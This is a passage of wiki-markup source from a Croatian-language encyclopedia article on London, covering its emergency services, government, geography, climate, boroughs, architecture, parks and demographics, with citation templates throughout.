svijetu.<ref name="LOND46">{{cite web |publisher=London Fire Brigade |url=http://www.london-fire.gov.uk/WhoWeAre.asp |title=Who we are }}</ref> Ambulantne službe Nacionalne zdrastvene službe (''National Health Service'') osigurava Londonska ambulatna služba (''London Ambulance Service''), najveća besplatna ambulantna služba u svijetu.<ref name="LOND47">{{cite web |publisher=London Ambulance Service NHS Trust |url=http://www.londonambulance.nhs.uk/about_us.aspx |title=About us |access-date=2010-09-17 |archivedate=2011-05-19 |archiveurl=https://www.webcitation.org/5yo0iCW89?url=http://www.londonambulance.nhs.uk/about_us.aspx |deadurl=yes }}</ref> Obalna straža Njenog Veličanstva (''Her Majesty's Coastguard'') i Kraljevska Nacionalna Spasilačka Služba (''Royal National Lifeboat Institution'') djeluju na rijeci [[Temza|Temzi]]. <ref name="LOND49">{{cite web |publisher=[[BBC]] |url=http://news.bbc.co.uk/1/hi/england/1739401.stm |title=Thames lifeboat service launched }}</ref> [[Datoteka:Downing Street.jpg|thumb|180px|Downing Street, ulica u kojoj je na broju 10 službena rezidencija britanskog premijera]] === Nacionalna vlada === U Londonu, kao glavnom gradu Ujedinjenog Kraljevstva, smještena je nacionalna vlada, uglavnom u okolici [[Westminsterska palača|Westminsterske palače]]. Brojni vladini odjeli locirani su u blizini [[Westminsterska palača|parlamenta]], posebno duž Whitehalla, uključujući rezidenciju [[Premijer Ujedinjenog Kraljevstva|premijera]] na broju 10 u [[Downing Street]]u.<ref name="LOND50">{{cite web |publisher=10 Downing Street |url=http://www.number10.gov.uk/output/Page1.asp |title=10 Downing Street — Official Website }}</ref> Britanski parlament često se naziva "Majkom parlamenata" (premda je taj nadimak John Bright prvi put primjenio za samu Englesku)<ref name="LOND51">{{cite web |publisher=[[BBC]] |url=http://news.bbc.co.uk/1/hi/uk_politics/talking_politics/96021.stm |title=UK Politics: Talking Politics — The 'Mother of Parliaments' }}</ref> jer je bio uzor za većinu ostalih [[parlamentarni sistem|parlamentarnih sustava]], kao i osnivač mnogih drugih parlamenata. Osim toga, u Londonu je i glavna službena rezidencija britanske monarhije, čuvena [[Buckinghamska palača]]. == Geografija == ''Glavni članak: [[Zemljopis Londona]]'' === Svrha === [[Datoteka:Central London Andh.svg|thumb|180px|Plan centralnog Londona]] [[Greater London]] (''Veliki London''), administrativna je podjela prvog stupnja koja pokriva London. Manji, stari Londonski ''City'' u jezgri Velikog Londona, jednom je obuhvaćao cijelo naselje, ali kako se gradsko područje širilo, Londonska Korporacija odolijevala je naporima za spajanjem s predgrađima, što je uvjetovalo da se naziv "London" koristi i definira na više načina, situacija koja je nekada bila predmetom pravne rasprave. 40% Velikog Londona pokriveno je Londonskim Poštanskim Okrugom (''London postal district''), unutar kojeg 'LONDON' tvori dio poštanske adrese.<ref name="LOND53">{{cite book|title=London Postcode and Administrative Boundaries|publisher=Geographers' A-Z Map Company|author=Geographers' A-Z Map Company|year=2008|edition=6|ISBN=9781843485926}}</ref> Područje londonskog [[telefon]]skog pozivnog broja (020) pokriva veće područje, približno zoni Velikog Londona, iako su neki okruzi izuzeti, dok su neka mjesta neposredno izvan uključena. Zona unutar kružnog [[M25 (Engleska)|Autoputa M25]] ponekad se određuje kao "Londonsko područje", tako da je [[granica]] [[Greater London|Velikog Londona]] djelomično poravnate s njom.<ref name="LOND54">{{cite web |publisher=Office of Public Sector Information |url=http://www.opsi.gov.uk/SI/si1993/Uksi_19930441_en_1.htm |title=The Essex, Greater London and Hertfordshire (County and London Borough Boundaries) Order }}</ref> Vanjska ekspanzija gradskog područja sada je spriječena metropolitanskim zelenim pojasom,<ref name="LOND55">{{cite book|last=Dilys|first=M Hill|title=Urban Policy and Politics in Britain|publisher=St. Martin's Press|year=2000|isbn=0312227450|page=268}}</ref> premda se na nekim mjestima zona izgradnje proteže iza pojasa, što rezultira odvojeno-definiranim Gradskim Područjem Velikog Londona (''Greater London Urban Area''). Iza toga, veliko je metropolitansko područje Londona.<ref name="LOND56">{{cite web |publisher=London Assembly |url=http://www.london.gov.uk/assembly/reports/plansd/london_regional_200104.pdf |title=London in its Regional Setting (PDF) |archiveurl=https://www.webarchive.org.uk/wayback/archive/20050722120000/http://www.london.gov.uk/assembly/reports/plansd/london_regional_200104.pdf |archivedate=2005-07-22 |access-date=2010-09-17 |deadurl=yes }}</ref> [[Greater London]] podijeljen je na Unutarnji London (''Inner London'') i Vanjski London (''Outer London'').<ref name="LOND57">{{cite web |publisher=Office of Public Sector Information |url=http://www.opsi.gov.uk/RevisedStatutes/Acts/ukpga/1963/cukpga_19630033_en_1 |title=London Government Act 1963 }}</ref> Grad je podijeljen rijekom Temzom na Sjeverni i Južni London, s neformalnim područjem Centralnog Londona u središtu. Koordinate nominalnog centra Londona, kojim se tradicionalno smatra početni ''Eleanor'' križ na Charing Crossu kraj dodirne točke [[Trafalgar Square]]a i Whitehalla, približno su {{Coord|51|30|29|N|00|07|29|W|type:city(7,000,000)_region:GB}}.<ref name="LOND58">{{cite web |publisher=[[BBC]] |url=http://www.bbc.co.uk/london/content/articles/2005/08/15/charingcross_feature.shtml |title=London - Features - Where is the Centre of London? }}</ref> === Status === Unutar Londona, ''City of London'' i ''City of Westminster'' oba raspolažu statusom grada, te su i ''City'' i ostatak Velikog Londona Ceremonijalne grofovije.<ref name="LOND59">{{cite web |publisher=OPSI |url=http://www.opsi.gov.uk/acts/acts1997/ukpga_19970023_en_1 |title=Lieutenancies Act 1997 }}</ref> Aktualno područje Velikog Londona pripojilo je zone koje su nekada bile dijelom grofovija [[Middlesex]], [[Kent]], [[Surrey]], [[Essex]] i [[Hertfordshire]]. Status Londona kao glavnog grada Engleske, i kasnije Ujedinjenog Kraljevstva, nije nikada dodijeljen ili službeno potvrđen statutom ili u pisanom obliku, već je formiran ustavnom konvencijom, što status ''[[de facto]]'' glavnog grada čini dijelom britanskog nepisanog ustava. Glavni grad Engleske premješten je iz [[Winchester]]a u London kako se gradila Westminsterska palača tijekom 12. i 13. veka, kao stalni smještaj kraljevskog dvora, te stoga postaje političkim središtem zemlje.<ref name="LOND60">{{cite web |publisher=British Archaeology |url=http://www.britarch.ac.uk/BA/ba45/ba45regs.html |title=British Archaeology Issue 45, June 1999 }}</ref> U novije vrijeme, [[Greater London]] je definiran kao [[Engleske regije|engleska regija]], i u tom kontekstu poznat kao ''London''.<ref name="LOND2"/> === Topografija === [[Datoteka:London SPOT 1005.jpg|thumb|180px|Snimka zapadnog i središnjeg Londona iz satelita SPOT]] [[Greater London]] pokriva područje od 1,570&nbsp;km².<ref name="LOND61">{{cite web |publisher=Encylopaedia Britannica |url=http://www.britannica.com/EBchecked/topic/244011/Greater-London |title=Greater London - Britannica Online Encyclopaedia }}</ref> Primarna zemljopisna značajka je rijeka [[Temza]], plovna rijeka koja presjeca grad u smjeru jugozapad-istok. Dolina Temze je poplavna ravnica okružena blagim brežuljcima među kojima Parliament Hill, Addington Hills, i Primrose Hill. Temza je nekada bila mnogo šira, plića rijeka s prostranim [[močvara]]ma. Pri visokom vodostaju bila je pet puta šira u odnosu na današnje obale. Od [[Viktorijansko doba|Viktorijanskog doba]] rijeka je bila opsežno ograđivana nasipima, te mnoge [[Pritoka|pritoke]] danas teku podzemno. Temza je plimna rijeka, te je London osjetljiv na poplave, prijetnja koja se s vremenom povećavala radi sporog, premda stalnog porasta razine [[plima i oseka|visoke vode]] radi polaganog naginjanja Britanije (prema gore na sjeveru i dolje na jugu) uvjetovanog post-glacialnim [[Izostazija|izostatskim]] skokom. 1974, preko Temze kod Woolwicha započet je desetgodišnji posao izgradnje brane ''Thames Barrier''. Dok se očekuje da brana djeluje u skladu s projektom do otprilike 2070, koncepti o budućem proširenju i preoblikovanju već se raspravljaju.<ref name="LOND64">{{cite web |publisher=The Guardian |url=http://www.guardian.co.uk/environment/2009/mar/31/thames-flood-barrier-london |title=Thames Barrier gets extra time as London's main flood defence }}</ref> === Klima === ''Glavni članak: [[Klima Ujedinjenog Kraljevstva]]'' London ima [[umjerena klima|umjerenu]] [[okeanska klima|oceansku klimu]] ([[Köppenova klasifikacija klime]] ''Cfb''), većinom kao i Britanski otoci, te grad rijetko pogađaju izrazito visoke ili niske temperature. Ljeta su vruća s prosječnim visokim temperaturama od 21&nbsp;°C – 24&nbsp;°C, i niskim od 11&nbsp;°C – 14&nbsp;°C. Tijekom više dana temperature mogu premašiti 25&nbsp;°C, te su skoro svake godine nekoliko dana bile više od 30&nbsp;°C. Najviša ikad je zabilježena temperatura 39&nbsp;°C 10. kolovoza, 2003.<ref name="LOND65">{{cite web |publisher=[[BBC]] |url=http://www.bbc.co.uk/weather/world/city_guides/results.shtml?tt=TT003790 |title=Average Conditions, London, United Kingdom |archiveurl=https://web.archive.org/web/20051210191554/http://www.bbc.co.uk/weather/world/city_guides/results.shtml?tt=TT003790 |archivedate=2005-12-10 |access-date=2010-09-17 |deadurl=no }}</ref> Zime su u Londonu hladne, ali rijtko s temperaturama ispod nule, s dnevnim najvišim oko 8&nbsp;°C – 12&nbsp;°C, dok su u proljeće ugodni dani i hladne večeri.<ref name="LOND65"/> Najniža ikad zabilježena temperatura u novije doba bila je −10&nbsp;°C 10.1., 1982. Jesen je uglavnom blaga, ali često nepostojana dok se susreću hladniji zrak sa sjevera i topliji s juga. London je relativno suh grad s redovnim ali generalno slabim padalinama kroz godinu, s prosjekom od 583.6&nbsp;mm godišnje. [[Snijeg]] je uglavnom neuobičajen, posebno radi gradskog otoka vrućine koji po zimi London može zagrijati 5&nbsp;°C više u odnosu na okolna područja. Ipak, ponešto snježnih padalina uobičajene su do nekoliko puta godišnje. Snježno nevrijeme februara-veljače 2009. bilo je najjače u Londonu posljednjih 18 godina. {{Infookvir vrijeme |mjesto =<!--London|-->London |Jan-Sij_sr_maks=8 |Feb-Velj_sr_maks=8 |Mar-Ožu_sr_maks=11 |Apr-Tra_sr_maks=13 |Maj-Svi_sr_maks=17 |Jun-Lip_sr_maks=20 |Jul-Srp_sr_maks=23 |Aug-Kol_sr_maks=23 |Sep-Ruj_sr_maks=19 |Okt-Lis_sr_maks=15 |Nov-Stu_sr_maks=11 |Dec-Pro_sr_maks=9 |God_sr_maks=15.8 |Jan-Sij_sr=5 |Feb-Velj_sr=5 |Mar-Ožu_sr=7.5 |Apr-Tra_sr=9 |Maj-Svi_sr=12.5 |Jun-Lip_sr=15.5 |Jul-Srp_sr=18.5 |Aug-Kol_sr=18 |Sep-Ruj_sr=15 |Okt-Lis_sr=11.5 |Nov-Stu_sr=8 |Dec-Pro_sr=6 |God_sr=11 |Jan-Sij_sr_min=2 |Feb-Velj_sr_min=2 |Mar-Ožu_sr_min=4 |Apr-Tra_sr_min=5 |Maj-Svi_sr_min=8 |Jun-Lip_sr_min=11 |Jul-Srp_sr_min=14 |Aug-Kol_sr_min=13 |Sep-Ruj_sr_min=11 |Okt-Lis_sr_min=8 |Nov-Stu_sr_min=5 |Dec-Pro_sr_min=3 |God_sr_min=7.2 |Jan-Sij_obo=52 |Feb-Velj_obo=34 |Mar-Ožu_obo=42 |Apr-Tra_obo=45 |Maj-Svi_obo=47 |Jun-Lip_obo=53 |Jul-Srp_obo=38 |Aug-Kol_obo=47 |Sep-Ruj_obo=57 |Okt-Lis_obo=61 |Nov-Stu_obo=52 |Dec-Pro_obo=54 |God_obo=582 |Izvor=Average high, low and precipitation from the Weather Channel<ref name="LOND66">{{cite web |publisher=Average Weather for London, ENG - Temperature and Precipitation |url=http://www.weather.com/outlook/travel/businesstraveler/wxclimatology/monthly/graph/UKXX0085 |title=The Weather Channel Interactive, Inc. |access-date=2010-09-17 |archivedate=2009-10-28 |archiveurl=https://web.archive.org/web/20091028064818/http://www.weather.com/outlook/travel/businesstraveler/wxclimatology/monthly/graph/UKXX0085 |deadurl=yes }}</ref> }} London se nalazi, prema klasifikaciji Tajništva Poljoprivrede Sjedinjenih Država (''United States Department of Agriculture'' USDA), u zoni otpornosti 9. Premda se ekstremne vremenske prilike ne manifestiraju često, poznati su prolasci dubokih depresija, kao veliko nevrijeme 1987. [[Tornado]]i su rijetki, iako je gradsko područje Kensal Green bilo 2006. pogođeno tornadom koji je uzrokovao 6 ozlijeđenih i stvorio 10 milijuna [[Britanska funta|funti]] štete. U drugoj polovici 19. veka i prvoj 20. veka, London je bio poznat po svojim gustim [[magla]]ma i [[smog]]u. Nakon ubojitog velikog smoga iz 1952, usvojen je 1956. zakon o čistom zraku koji je doveo do smanjenja ozbiljnog zagađenja u glavnom gradu. === Okruzi === ''Glavni članak: [[Greater London]]'' {| class="toccolours" align="right" style=font-size:80%;margin-left:10px; |+ <big>'''Grad London i 32 gradska okruga'''</big> | style="padding-right:1em;" | <ol> <li>[[City of London]]</li> <li>[[City of Westminster]]</li> <li>[[Kensington and Chelsea]]</li> <li>[[Hammersmith and Fulham]]</li> <li>[[Wandsworth]]</li> <li>[[Lambeth]]</li> <li>[[Southwark]]</li> <li>[[Tower Hamlets]]</li> <li>[[Hackney]]</li> <li>[[Islington]]</li> <li>[[Borough Camden|Camden]]</li> <li>[[Brent]]</li> <li>[[Ealing]]</li> <li>[[Hounslow]]</li> <li>[[Richmond upon Thames]]</li> <li>[[Kingston upon Thames]]</li> <li>[[Merton]]</li> </ol> | style="background:white; padding:0 1em;" class="toccolours"|[[Datoteka:London-boroughs.svg|250px]] | <ol start="18"> <li>[[Sutton]]</li> <li>[[Croydon]]</li> <li>[[Bromley]]</li> <li>[[Lewisham]]</li> <li>[[Greenwich]]</li> <li>[[Bexley]]</li> <li>[[Havering]]</li> <li>[[Barking and Dagenham]]</li> <li>[[Redbridge]]</li> <li>[[Newham]]</li> <li>[[Waltham Forest]]</li> <li>[[Haringey]]</li> <li>[[Borough Enfield|Enfield]]</li> <li>[[Borough Barnet|Barnet]]</li> <li>[[Harrow]]</li> <li>[[Hillingdon]]</li> </ol> |} Golemo londonsko gradsko područje često se opisuje korištenjem niza imena okruga, kao Bloomsbury, Mayfair, Wembley i Whitechapel. To su ili neformalni nazivi, koji odražavaju imena bivših samostalnih naselja, danas gradskih okruga, ili nazivi zamjenskih administrativnih jedinica kao župa ili bivših okruga, koji su tradicionalno ostali u upotrebi za određena područja s istaknutim karakteristikama, ali bez aktuelnih službenih međa. Od [[1965]]. - [[Greater London]] je podijeljen na 32 [[Borough|okruga]], kao dodatak starom londonskom ''Cityju'',<ref name="LOND69">{{cite web |publisher=London Government |url=http://www.london.gov.uk/london-life/city-government/boroughs.jsp |title=London boroughs - London Life, GLA |archiveurl=https://www.webarchive.org.uk/wayback/archive/20100107035815/http://www.london.gov.uk/london-life/city-government/boroughs.jsp |archivedate=2010-01-07 |access-date=2010-09-17 |deadurl=yes }}</ref><ref name="LOND70">{{cite book|last=Dogan|first=Mattei|coauthors=John D. Kasarda|title=The Metropolis Era|publisher=Sage Publications|date=1988|page=99|isbn=9780803926035|url=http://books.google.com/books?id=_GFPAAAAMAAJ&q=1965,+32+boroughs+of+london&dq=1965,+32+boroughs+of+london&lr=&pgis=1}}</ref> glavnom financijskom središtu,<ref name="LOND71">{{cite web |publisher=Mayor of London |url=http://www.london.gov.uk/london-life/business-and-jobs/financial-centre.jsp |title=London as a financial centre |archiveurl=https://www.webarchive.org.uk/wayback/archive/20100107035840/http://www.london.gov.uk/london-life/business-and-jobs/financial-centre.jsp |archivedate=2010-01-07 |access-date=2010-09-17 |deadurl=yes }}</ref> premda se [[Canary Wharf]] nedavno razvio kao novo financijsko i trgovačko središte na istoku grada. ''West End'' je glavni trgovački i zabavni okrug koji prilači mnoge turiste,<ref name="LOND72">{{cite web |publisher=[[BBC]] |url=http://news.bbc.co.uk/2/hi/entertainment/1608619.stm |title=West End still drawing crowds }}</ref> dok se zapadni London (''West London'') sastoji od skupih stambenih zona gdje se imanja mogu prodati za desetke milijuna funti.<ref name="LOND73">{{cite web |publisher=The Guardian Money |url=http://www.guardian.co.uk/money/2006/apr/17/tax.g2 |title=Super Rich }}</ref> Prosječna cijena imanja u Kensingtonu i Chelsea je £894,000, sa sličnim prosječnim troškom u većini Centralnog Londona. ''East End'' je najbliže područje izvornoj [[Londonska luka|londonskoj luci]], poznato po brojnom useljeničkom stanovništvu, kao i jedna od najsiromašnijih zona u Londonu.<ref name="LOND75">{{cite web |publisher=News Week |url=http://msnbc.msn.com/id/8487518/site/newsweek/ |title=Tomorrow’s East End |access-date=2010-09-17 |archive-date=2006-08-29 |archive-url=https://web.archive.org/web/20060829024354/http://msnbc.msn.com/id/8487518/site/newsweek/ |dead-url= }}</ref> Okolni Istočni London (''East London'') obuhvaćao je većinu ranog [[Industrija|industrijskog]] razvoja u Londonu, dok se danas napušteni industrijski pogoni preuređuju u gradske četvrti kao dio projekta ''Thames Gateway'', uključujući ''London Riverside'' i ''Lower Lea Valley'', koji se izgrađuje kao Olimpijski park za [[Olimpijada 2012|Olimpijske igre 2012.]]<ref name="LOND75"/> === Arhitektura === ''Glavni članak: [[Arhitektura Londona]]'' [[Datoteka:Tower bridge Aldie GFDL-enhanced.jpg|thumb|180px|Tower bridge, jedna od najvećih londonskih znamenitosti]] [[Datoteka:Piccadilly Circus2.JPG|thumb|180px|Piccadilly Circus je važno raskršće u londonskom ''West Endu'']] Londonske zgrade isuviše su raznolike da bi ih karakterizirao bilo kakav poseban [[Arhitektura|arhitektonski]] stil, jer su građene tijekom dugog vremenskog perioda. Među novijim građevinama ističu se neboder iz 1980-ih ''Tower 42'', zgrada Lloyda (''Lloyd's building'') s instalacijama na vanjskoj strani zdanja, i ''30 St Mary Axe'', poznat i kao ''"Gherkin"''. Londonska generalno niska arhitektura čini nebodere, među kojima i ''One Canada Square'', susjedne zgrade u [[Canary Wharf]]u i ''BT Tower'' u Fitzroviji vrlo upadljivima iz daljine. Visoka izgradnja ograničena je na određemim mjestima, ukoliko bi se ispriječila zaštićenim vizurama [[katedrala Svetog Pavla u Londonu|katedrale sv. Pavla]]. Unatoč tome, u planu je izgradnja više nebodera u središnjem Londonu, uključujući 72-katni ''Shard London Bridge'' koji će biti jedan od najviših u Europi. Starije zgrade uglavnom su izgrađene od opeke, najčešće žute ''London stock brick'' ili toplo narančasto-crvene vrste, često dekorirane rezbarijama i bijelim gipsanim reljefima.<ref name="LOND76">{{cite web |publisher=Telegraph Media Group Limited |url=http://www.telegraph.co.uk/property/main.jhtml?view=DETAILS&grid=A1&xml=/property/2008/03/27/lpgreen127.xml |title=Eco homes: Wooden it be lovely... ? |access-date=2021-08-31 |archivedate=2011-05-19 |archiveurl=https://www.webcitation.org/5yo0rvzUL?url=http://www.telegraph.co.uk/property/main.jhtml?view=DETAILS&grid=A1&xml=%2Fproperty%2F2008%2F03%2F27%2Flpgreen127.xml |deadurl=yes }}</ref> Mnoge značajne kuće i javne zgrade, kao [[National Gallery]], izgrađene su Portland kamenom. Neka područja grada, posebno neposredno zapadno od centra, karakterizira bijela štukatura ili obijeljene zgrade. Preostalo je samo nekoliko građevina od prije velikog požara iz 1666, osim nekoliko tragova [[Antički Rim|rimskih]] ostataka, [[londonski Tower]] i nekoliko raštrkanih zgrada iz doba [[Dinastija Tudor|Tudora]]. Raznoliko arhitektonsko nasljeđe tvore i crkve [[Christopher Wren|Christophera Wrena]] iz kasnog 17. veka, te financijske istitucije 18. i 19. veka kao ''Royal Exchange'' i [[Engleska Banka]] (''Bank of England''), do zdanja ranog 20. veka ''Old Bailey'' (zgrada suda) i ''Barbican Estate'' iz 1960-ih. [[Datoteka:Buckingham Palace, London, England, 24Jan04.jpg|lijevo|thumb|180px|[[Buckinghamska palača]] je službena rezidencija britanskih vladara]] Kraj rijeke na jugozapadu, nekorištena, ali uskoro u obnovi, elektrana ''Battersea'' iz 1939, lokalna je znamenitost, dok su neke od željezničkih stanica izvrsni primjeri [[Viktorijanska arhitektura|Viktorijanske arhitekture]], posebno ''St Pancras'' i ''Paddington''.<ref name="LOND77">{{cite web |publisher=Great Buildings |url=http://www.greatbuildings.com/buildings/Paddington_Station.html |title=Paddington Station }}</ref> Zbijenost izgradnje u Londonu varira, s velikom gustoćom poslovnih zgrada u centralnom Londonu, visokom gustoćom stambenih zgrada u unutarnjem Londonu, i manjom gustoćom u predgrađima vanjskog Londona. U područjima guste urbanizacije, većina koncentracije je postignuta srednje visokim i visokim zgradama. Londonski neboderi kao ''"Gherkin", Tower 42, Broadgate Tower'' i ''One Canada Square'' većinom su smješteni u dvije poslovne četvrti: ''City'' i ''[[Canary Wharf]]''. Druge istaknute moderne zgrade su gradska vijećnica u Southwarku, s prepoznatljivim ovalnim oblikom,<ref name="LOND78">{{cite web |publisher=[[BBC]] |url=http://news.bbc.co.uk/1/hi/uk/2129199.stm |title=Inside London's new 'glass egg' }}</ref> i Britanska knjižnica (''British Library'') u Somers Town/Kings Cross, London. Bivši Millennium Dome, smješten kraj Temze na istočno od Canary Wharfa, danas je zabavni centar poznat kao ''The O₂''. Među spomenicima najpoznatiji su spomenik podignut na mjestu izbijanja velikog londonskog požara, poznat kao ''The Monument'', koji pruža posjetiteljima i pogled na okolno područje, slavoluci ''Marble Arch'' i ''Wellington Arch'' na sjevernom i južnom kraju Park Lanea, ''Albert Memorial'' i [[Royal Albert Hall]] u Kensingtonu. [[Nelsonov stup]], nacionalno je respektirani spomenik na trgu [[Trafalgar Square]], jedne od žarišnih točaka središta grada. === Parkovi i vrtovi === ''Glavni članak: [[Parkovi u Londonu]]'' [[Datoteka:Hyde Park PA1.jpg|thumb|180px|Hyde Park]] Jedna od naijstaknutijih karakteristika londonskog urbanizma, fascinantni su i slavni parkovi, posebno najveći parkovi u središnjoj zoni Londona, Kraljevski parkovi (''Royal Parks'') [[Hyde Park, London|Hyde Park]], susjedni, s kojim stvara jedintvenu cjelinu, [[Kensington Gardens]], i [[Regent's Park]] na sjevernom kraju centralnog Londona.<ref name="LOND79">{{cite web |publisher=The Royal Parks |url=http://www.royalparks.org.uk/parks/kensington_gardens/ |title=Kensington Gardens |access-date=2010-09-17 |archivedate=2011-05-19 |archiveurl=https://www.webcitation.org/5yo0tndiN?url=http://www.royalparks.org.uk/parks/kensington_gardens/ |deadurl=yes }}</ref> Regent's Park sadrži londonski [[zoološki vrt]], najstariji znanstveni zoo u svijetu, Bliže samom središtu grada manji su Kraljevski parkovi Green Park i [[St. James's Park]].<ref name="LOND82">{{cite web |publisher=The Royal Parks |url=http://www.royalparks.org.uk/parks/green_park/ |title=Green Park |access-date=2010-09-17 |archivedate=2010-02-01 |archiveurl=https://www.webcitation.org/5nE6fuYvF?url=http://www.royalparks.org.uk/parks/green_park/ |deadurl=yes }}</ref> Hyde Park, posebno je popularan za sport, dok se ponekad održavaju i koncerti na otvorenom. Nekoliko velikih parkova pruža se izvan gradskog središta, uključujući i ostale Kraljevske parkove, Greenwich Park na jugoistoku,<ref name="LOND83">{{cite web |publisher=The Royal Parks |url=http://www.royalparks.org.uk/parks/greenwich_park/ |title=Greenwich Park |access-date=2010-09-17 |archivedate=2011-05-19 |archiveurl=https://www.webcitation.org/5yo0w5wlZ?url=http://www.royalparks.org.uk/parks/greenwich_park/ |deadurl=yes }}</ref> te Bushy Park i Richmond Park na jugozapadu,<ref name="LOND84">{{cite web |publisher=The Royal Parks |url=http://www.royalparks.org.uk/parks/bushy_park/ |title=Bushy Park |access-date=2010-09-17 |archivedate=2011-05-19 |archiveurl=https://www.webcitation.org/5yo0wb1mJ?url=http://www.royalparks.org.uk/parks/bushy_park/ |deadurl=yes }}</ref><ref name="LOND85">{{cite web |publisher=The Royal Parks |url=http://www.royalparks.org.uk/parks/richmond_park/ |title=Richmond Park |access-date=2010-09-17 |archivedate=2011-05-19 |archiveurl=https://www.webcitation.org/5yo0x5bB5?url=http://www.royalparks.org.uk/parks/richmond_park/ |deadurl=yes }}</ref> kao i Victoria Park na istoku. Primrose Hill sjeverno od Regent's Parka popularno je panoramsko mjesto s pogledom na grad. Postoji također i nekoliko manje formalnih, polu-prirodnih otvorenih prostora, uključujući i Hampstead Heath, površine 3.2&nbsp;km², na sjeveru Londona, koji uključuje ''Kenwood House'' i popularnu lokaciju gdje se u ljetne mjesece održavaju uz obalu jezera koncerti klasične glazbe, koji i vatrometom, svakog vikenda privlače brojne posjetitelje.<ref name="LOND86">{{cite web |publisher=English Heritage |url=http://www.english-heritage.org.uk/server/show/nav.00100200800k00800f |title=Kenwood House }}</ref> == Demografija == ''Glavni članak: [[Demografija Londona]]'' {| class="infobox" style="float:right;" |- ! '''Država rođenja''' || Stanovništvo<br />'''(2001)''' |- |[[Ujedinjeno Kraljevstvo|Velika Britanija]] ||5,230,155 |- |[[Indija]] ||172,162 |- |[[Irska]] ||157,285 |- |[[Bangladeš]] ||84,565 |- |[[Jamajka]] ||80,319 |- |[[Nigerija]] ||68,907 |- |[[Pakistan]] ||66,658 |- |[[Kenija]] ||66,311 |- |[[Šri Lanka]] ||49,932 |- |[[Gana]] ||46,513 |- |[[Cipar]] ||45,888 |- |[[Južna Afrika]] ||45,506 |- |[[Sjedinjene Američke Države|Sjedinjene Države]] ||44,622 |- |[[Australija]] ||41,488 |- |[[Nemačka]] ||39,818 |- |[[Turska]] ||39,128 |- |[[Italija]] ||38,694 |- |[[Francuska]] ||38,130 |- |[[Somalija]] ||33,831 |- |[[Uganda]] ||32,082 |- |[[Novi Zeland]] ||27,494 |} S rastućom industrijalizacijom, stanovništvo Londona naglo je poraslo tijekom 19. i početkom 20. veka, te je u to doba jedno vrijeme bio i najmnogoljudniji grad na svijetu, dok 1925. [[New York]] nije preuzeo primat. Vrhunac broja stanovnika od 8,615,245 dostignut je 1939, neposredno pred početak 2. svjetskog rata. Sredinom 2007, u Velikom Londonu službeno je procijenjena populacija od 7,556,900 stanovnika.<ref name="LOND10"/> Ipak, londonsko urbano područje koje se proteže preko međa Velikog Londona, 2001. je naseljavalo 8,278,251,<ref name="LOND12"/>, dok šire metropolitansko područje (''London commuter belt'') sadrži između 12 i 14 milijuna stanovnika, ovisno o obliku definicije.<ref name="LOND88">{{cite web |publisher=demographia.com/ |url=http://www.demographia.com/dm-lonarea.htm |title=London Metropolitan Population}}</ref> U skladu s [[Eurostat]]om, London je najmnogoljudnije metropolitansko područje u [[Evropska unija|Europskoj Uniji]] i drugo najmnogoljudnije u Europi (ili treće ako se uračuna i [[Istanbul]]). Između 1991. i 2001, u grad je došlo 726,000 imigranata.<ref name="LOND89">{{cite web |publisher=TimesOnline.co.uk |url=http://www.timesonline.co.uk/tol/news/uk/article379434.ece |title=Immigration rise increases segregation in British cities |access-date=2010-09-17 |archive-date=2008-02-11 |archive-url=https://web.archive.org/web/20080211185641/http://www.timesonline.co.uk/tol/news/uk/article379434.ece }}</ref> Regija pokriva područje od 1,580&nbsp;km², dok je gustoća naseljenosti 4,761 /km², više od deset puta više u odnosu na bilo koju drugu britansku regiju.<ref name="LOND90">{{cite web |publisher=UK Statistics Authority |url=http://www.statistics.gov.uk/downloads/theme_population/regional_snapshot/RS_Lon.pdf |title=Population density of London: by London borough, 2006 |archiveurl=https://www.webarchive.org.uk/wayback/archive/20081021083318/http://www.statistics.gov.uk/downloads/theme_population/regional_snapshot/RS_Lon.pdf |archivedate=2008-10-21 |access-date=2010-09-17 |deadurl=no }}</ref> U aspektu stanovništva, London je 25. najveći grad i 18. najveća metropolitanska regija na svijetu. Također je 4. u svijetu po broju milijardera (u [[Američki dolar|američkim dolarima]]) s prebivalištem u gradu.<ref name="LOND91">{{cite web |publisher=Forbes |url=http://www.forbes.com/2007/03/07/billionaires-worlds-richest_07billionaires_cz_lk_af_0308billie_land.html |title=Forbes Magazine list of billionaires}}</ref> Također, London, zajedno s [[Tokijo|Tokiom]] i [[Moskva|Moskvom]], svrstava se među najskuplje gradove u svijetu.<ref name="LOND92">{{cite web |publisher=CNN |url=http://money.cnn.com/2004/06/11/pf/costofliving/ |title=CNN Money World's Most Expensive Cities 2004. |access-date=2010-09-17 |archive-date=2015-05-30 |archive-url=https://web.archive.org/web/20150530194555/http://money.cnn.com/2004/06/11/pf/costofliving/ |url-status=dead }}</ref> === Etničke grupacije === Prema procjenama Nacionalnog Ureda za Statistiku (''Office for National Statistics'') iz 2006, 69.4% od 7.5 milijuna stanovnika Londona su bijelci, s 58% britanskih bijelaca, 2,5% irskih bijelaca, i 8,9% raspoređenih kao ostali bijelci. 13,1% južnoazijskog je porijekla, s Indijcima koji čine 6.5% londonske populacije, praćeni Bangladešanima i Pakistancima s po 2,3%. 2% je kategorizirano kao "drugi Azijci". 10.7% londonskog stanovništva su crnci, s oko 5.5% afričkih crnaca, 4.3% karipskih, i 0.7% "ostalih crnaca". 3.5% stanovnika Londona miješane je rase, 1.5% je [[Kinezi|Kineza]], dok 1.9% pripada drugim etničkih grupama.<ref name="LOND93">{{cite web |publisher=neighbourhood.statistics.gov.uk |url=http://www.neighbourhood.statistics.gov.uk/dissemination/LeadTableView.do?a=3&b=276743&c=London&d=13&e=13&g=325264&i=1001x1003x1004&m=0&r=1&s=1250928691333&enc=1&dsFamilyId=1812 |title=Neighbourhood Statistics |access-date=2010-09-17 |archivedate=2011-06-13 |archiveurl=https://web.archive.org/web/20110613043901/http://www.neighbourhood.statistics.gov.uk/dissemination/LeadTableView.do?a=3&b=276743&c=London&d=13&e=13&g=325264&i=1001x1003x1004&m=0&r=1&s=1250928691333&enc=1&dsFamilyId=1812 |deadurl=yes }}</ref> 2008, 40% ukupne londonske populacije pripada [[Nacionalna manjina|nacionalnim manjinama]].<ref name="LOND94">{{cite web |publisher=London Councils |url=http://www.londoncouncils.gov.uk/media/current/pressdetail.htm?pk=531 |title=London’s black and minority communities helped to have a greater voice }}{{Dead link|date=August 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> U Londonu, crnačka i azijska djeca brojnija su u odnosu na bijelu britansku djecu u omjeru 6 prema 4.<ref name="LOND95">{{cite web 